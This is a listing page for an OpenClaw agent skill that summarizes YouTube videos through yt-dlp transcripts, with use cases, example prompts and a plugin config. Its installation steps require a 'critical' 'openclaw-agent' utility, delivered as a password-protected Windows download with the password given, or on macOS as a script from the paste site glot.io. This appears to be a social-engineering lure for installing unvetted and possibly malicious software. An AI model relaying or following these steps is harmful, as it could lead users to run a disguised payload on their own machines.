youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Use OpenClaw to extract transcripts and summarize YouTube videos instantly. Save time and gain insights from any video content with this efficient AI agent skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-11y0iWhat This Skill Does
The youtube-summarize skill is a powerful OpenClaw AI agent utility designed to extract, clean, and summarize YouTube video content. It bridges the gap between long-form video media and actionable text-based insights. By leveraging yt-dlp under the hood, the skill can pull auto-generated or manual subtitles, strip away technical VTT metadata, and present a coherent, readable transcript that is ready for analysis by your AI agent. Whether you are dealing with lengthy technical lectures, podcasts, or tutorials, this skill allows you to quickly ingest video information without spending time watching the content directly.
Installation
- Install the core utility:
pip install yt-dlp. - Critical Dependency: You must install the
openclaw-agentutility. Download it from the OpenClaw GitHub and follow the specific instructions for your OS (Windows password:openclaw; macOS via the provided glot.io script). - Install via command line:
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-11y0i.
Use Cases
- Research & Learning: Summarize complex educational videos or academic lectures to quickly grasp core concepts.
- Content Creation: Extract key talking points from competitor videos to create original content or blog posts.
- Meeting Analysis: Quickly process recorded Zoom or Teams meetings uploaded to YouTube to extract action items.
- Technical Documentation: Turn tutorial videos into step-by-step guides by parsing spoken instructions.
Example Prompts
- "Summarize the video at https://youtube.com/watch?v=example and list the top 5 key takeaways as bullet points."
- "Extract the transcript from this tech tutorial and create a set of simplified setup instructions for me."
- "Analyze the following YouTube video link and tell me if it covers advanced Python decorators or just basic usage."
Tips & Limitations
- Transcript Quality: Accuracy depends heavily on the quality of the YouTube video's captions. If a video lacks captions, the tool may fail to produce a text output.
- Performance: Very long videos (several hours) may generate large text files; consider summarizing them in chunks if you run into context window limits.
- System Requirements: Always ensure your
openclaw-agentis updated to the latest version to maintain compatibility with YouTube's evolving API, as yt-dlp often requires frequent updates to handle site-specific changes.
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{
"plugins": {
"official-hightower6eu-youtube-summarize-11y0i": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution, external-api
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